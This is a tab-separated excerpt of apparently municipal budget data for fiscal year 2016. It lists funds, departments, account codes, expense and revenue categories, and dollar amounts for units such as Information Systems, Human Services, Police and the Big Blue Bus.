19770	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401100.0	VIDEO ARCHIVE/WEB HOSTING SVC	612.0	Charges for Service	2016	-7400	0	0	0	0	0	0	0	0	0	0	0	-7400
19771	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511749.0	VISION	804.0	Salaries and Wages	2016	597	0	0	0	0	0	0	0	0	0	0	0	597
19772	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
19773	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2016	16348	0	0	0	0	0	0	0	0	0	0	0	16348
19774	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	84679	0	0	0	0	0	0	0	0	0	0	0	84679
19775	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	982	0	0	0	0	0	0	0	0	0	0	0	982
19776	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2016	1475	0	0	0	0	0	0	0	0	0	0	0	1475
19777	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
19778	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2016	-252500	0	0	0	0	0	0	0	0	0	0	0	-252500
19779	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2016	3026	0	0	0	0	0	0	0	0	0	0	0	3026
19780	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544360.0	ELECTRONIC RESOURCES	812.0	 Supplies and Expenses	2016	300000	0	0	0	0	0	0	0	0	0	0	0	300000
19781	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	12220	0	0	0	0	0	0	0	0	0	0	0	12220
19782	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	19520	0	0	0	0	0	0	0	0	0	0	0	19520
19783	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2016	225600	0	0	0	0	0	0	0	0	0	0	0	225600
19784	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	2778	0	0	0	0	0	0	0	0	0	0	0	2778
19785	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561404.0	PROJECT HOMECOMING		 Supplies and Expenses	2016	35893	0	0	0	0	0	0	0	0	0	0	0	35893
19786	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	1637	0	0	0	0	0	0	0	0	0	0	0	1637
19787	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	5615	0	0	0	0	0	0	0	0	0	0	0	5615
19788	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	103	0	0	0	0	0	0	0	0	0	0	0	103
19789	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	3967	0	0	0	0	0	0	0	0	0	0	0	3967
19790	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	2262	0	0	0	0	0	0	0	0	0	0	0	2262
19791	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	112449	0	0	0	0	0	0	0	0	0	0	0	112449
19792	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	1322	0	0	0	0	0	0	0	0	0	0	0	1322
19793	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2016	106	0	0	0	0	0	0	0	0	0	0	0	106
19794	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578090.0	415 PCH MAINT REIMBURSEMENT	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19795	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2016	1850936	0	0	0	0	0	0	0	0	0	0	0	1850936
19796	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		YEAR-END CASH OUTS	816.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19797	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		UNEMPLOYMENT	804.0	Salaries and Wages	2016	6598	0	0	0	0	0	0	0	0	0	0	0	6598
19798	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	8020	0	0	0	0	0	0	0	0	0	0	0	8020
19799	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DCAP	804.0	Salaries and Wages	2016	648	0	0	0	0	0	0	0	0	0	0	0	648
19800	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	4750	0	0	0	0	0	0	0	0	0	0	0	4750
19801	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2016	650	0	0	0	0	0	0	0	0	0	0	0	650
19802	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	402660.0	FUTURE REPLACEMENT	650.0	Charges for Service	2016	-1190327	0	0	0	0	0	0	0	0	0	0	0	-1190327
19803	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19804	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		UNEMPLOYMENT	804.0	Salaries and Wages	2016	4981	0	0	0	0	0	0	0	0	0	0	0	4981
19805	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EAP	804.0	Salaries and Wages	2016	1063	0	0	0	0	0	0	0	0	0	0	0	1063
19806	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19807	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2016	406	0	0	0	0	0	0	0	0	0	0	0	406
19808	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DCAP	804.0	Salaries and Wages	2016	216	0	0	0	0	0	0	0	0	0	0	0	216
19809	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	3115	0	0	0	0	0	0	0	0	0	0	0	3115
19810	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	57691	0	0	0	0	0	0	0	0	0	0	0	57691
19811	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2016	480	0	0	0	0	0	0	0	0	0	0	0	480
19812	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	910.0	 Supplies and Expenses	2016	160000	0	0	0	0	0	0	0	0	0	0	0	160000
19813	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19814	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2016	8448	0	0	0	0	0	0	0	0	0	0	0	8448
19815	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561700.0	TEMP RELOCATION FOOD PROVIDERS		 Supplies and Expenses	2016	12306	0	0	0	0	0	0	0	0	0	0	0	12306
19816	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	566260.0	SPECIAL EVENTS		 Supplies and Expenses	2016	13000	0	0	0	0	0	0	0	0	0	0	0	13000
19817	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407610.0	I-NET REVENUE	612.0	Charges for Service	2016	-36400	0	0	0	0	0	0	0	0	0	0	0	-36400
19818	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
19819	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511749.0	VISION	804.0	Salaries and Wages	2016	1632	0	0	0	0	0	0	0	0	0	0	0	1632
19820	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	10299	0	0	0	0	0	0	0	0	0	0	0	10299
19821	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
19822	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
19823	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	4196	0	0	0	0	0	0	0	0	0	0	0	4196
19824	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	38209	0	0	0	0	0	0	0	0	0	0	0	38209
19825	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	4664	0	0	0	0	0	0	0	0	0	0	0	4664
19826	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	5310	0	0	0	0	0	0	0	0	0	0	0	5310
19827	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	24155	0	0	0	0	0	0	0	0	0	0	0	24155
19828	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2016	550	0	0	0	0	0	0	0	0	0	0	0	550
19829	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	351	0	0	0	0	0	0	0	0	0	0	0	351
19830	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	7636	0	0	0	0	0	0	0	0	0	0	0	7636
19831	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511748.0	DENTAL	804.0	Salaries and Wages	2016	5290	0	0	0	0	0	0	0	0	0	0	0	5290
19832	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	16256	0	0	0	0	0	0	0	0	0	0	0	16256
19833	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19834	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19835	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	6179	0	0	0	0	0	0	0	0	0	0	0	6179
19836	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	43852	0	0	0	0	0	0	0	0	0	0	0	43852
19837	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	18801	0	0	0	0	0	0	0	0	0	0	0	18801
19838	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2016	-154500	0	0	0	0	0	0	0	0	0	0	0	-154500
19839	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2016	3165	0	0	0	0	0	0	0	0	0	0	0	3165
19840	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	499308	0	0	0	0	0	0	0	0	0	0	0	499308
19841	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561402.0	CLINICAL SUPERVISION		 Supplies and Expenses	2016	7385	0	0	0	0	0	0	0	0	0	0	0	7385
19842	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EAP	804.0	Salaries and Wages	2016	1163	0	0	0	0	0	0	0	0	0	0	0	1163
19843	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	6500	0	0	0	0	0	0	0	0	0	0	0	6500
19844	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	7300	0	0	0	0	0	0	0	0	0	0	0	7300
19845	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	20851	0	0	0	0	0	0	0	0	0	0	0	20851
19846	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19847	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404580.0	BAYSAVER FEES	662.0	Other	2016	-150000	0	0	0	0	0	0	0	0	0	0	0	-150000
19848	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	152319	0	0	0	0	0	0	0	0	0	0	0	152319
19849	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2016	11066	0	0	0	0	0	0	0	0	0	0	0	11066
19850	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
19851	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	808.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
19852	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407509.0	CAPITAL GR-MOSIP	657.0	Capital Grants	2016	-483000	0	0	0	0	0	0	0	0	0	0	0	-483000
19853	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2016	18391	0	0	0	0	0	0	0	0	0	0	0	18391
19854	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	10608	0	0	0	0	0	0	0	0	0	0	0	10608
19855	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	8659	0	0	0	0	0	0	0	0	0	0	0	8659
19856	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	34472	0	0	0	0	0	0	0	0	0	0	0	34472
19857	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2016	18166	0	0	0	0	0	0	0	0	0	0	0	18166
19858	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	10990	0	0	0	0	0	0	0	0	0	0	0	10990
19859	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2016	24033	0	0	0	0	0	0	0	0	0	0	0	24033
19860	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	106798	0	0	0	0	0	0	0	0	0	0	0	106798
19861	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	2081	0	0	0	0	0	0	0	0	0	0	0	2081
19862	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522620.0	RENT	804.0	 Supplies and Expenses	2016	192838	0	0	0	0	0	0	0	0	0	0	0	192838
19863	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	2565	0	0	0	0	0	0	0	0	0	0	0	2565
19864	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511748.0	DENTAL	804.0	Salaries and Wages	2016	12502	0	0	0	0	0	0	0	0	0	0	0	12502
19865	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	21100	0	0	0	0	0	0	0	0	0	0	0	21100
19866	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2016	3932	0	0	0	0	0	0	0	0	0	0	0	3932
19867	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EAP	804.0	Salaries and Wages	2016	957	0	0	0	0	0	0	0	0	0	0	0	957
19868	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	14940	0	0	0	0	0	0	0	0	0	0	0	14940
19869	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	148218	0	0	0	0	0	0	0	0	0	0	0	148218
19870	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	3554	0	0	0	0	0	0	0	0	0	0	0	3554
19871	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2016	1091	0	0	0	0	0	0	0	0	0	0	0	1091
19872	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2016	-19300	0	0	0	0	0	0	0	0	0	0	0	-19300
19873	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	36095	0	0	0	0	0	0	0	0	0	0	0	36095
19874	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	360978	0	0	0	0	0	0	0	0	0	0	0	360978
19875	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EAP	816.0	Salaries and Wages	2016	2308	0	0	0	0	0	0	0	0	0	0	0	2308
19876	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400980.0	SURF & SAND APPLICATION FEE	612.0	Charges for Service	2016	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
19877	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER	910.0	 Supplies and Expenses	2016	60000	0	0	0	0	0	0	0	0	0	0	0	60000
19878	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2016	131	0	0	0	0	0	0	0	0	0	0	0	131
19879	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	577190.0	REPAYMENT OF LOAN		 Supplies and Expenses	2016	630349	0	0	0	0	0	0	0	0	0	0	0	630349
19880	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511490.0	OVERTIME	804.0	Salaries and Wages	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
19881	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	7019	0	0	0	0	0	0	0	0	0	0	0	7019
19882	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2016	2229	0	0	0	0	0	0	0	0	0	0	0	2229
19883	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511749.0	VISION	804.0	Salaries and Wages	2016	1343	0	0	0	0	0	0	0	0	0	0	0	1343
19884	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
19885	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
19886	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566960.0	PRISONER RETENTION & TRANSPORT	806.0	 Supplies and Expenses	2016	134648	0	0	0	0	0	0	0	0	0	0	0	134648
19887	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
19888	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1028685	0	0	0	0	0	0	0	0	0	0	0	1028685
19889	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511490.0	OVERTIME	804.0	Salaries and Wages	2016	1665	0	0	0	0	0	0	0	0	0	0	0	1665
19890	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	67416	0	0	0	0	0	0	0	0	0	0	0	67416
19891	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	357623	0	0	0	0	0	0	0	0	0	0	0	357623
19892	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	5367	0	0	0	0	0	0	0	0	0	0	0	5367
19893	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	19400	0	0	0	0	0	0	0	0	0	0	0	19400
19894	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	7250	0	0	0	0	0	0	0	0	0	0	0	7250
19895	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	3500	0	0	0	0	0	0	0	0	0	0	0	3500
19896	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	11759	0	0	0	0	0	0	0	0	0	0	0	11759
19897	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	15930	0	0	0	0	0	0	0	0	0	0	0	15930
19898	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-40000	0	0	0	0	0	0	0	0	0	0	0	-40000
19899	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588030.0	COMPUTER EQUIPMENT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
19900	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511748.0	DENTAL	804.0	Salaries and Wages	2016	12388	0	0	0	0	0	0	0	0	0	0	0	12388
19901	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	218759	0	0	0	0	0	0	0	0	0	0	0	218759
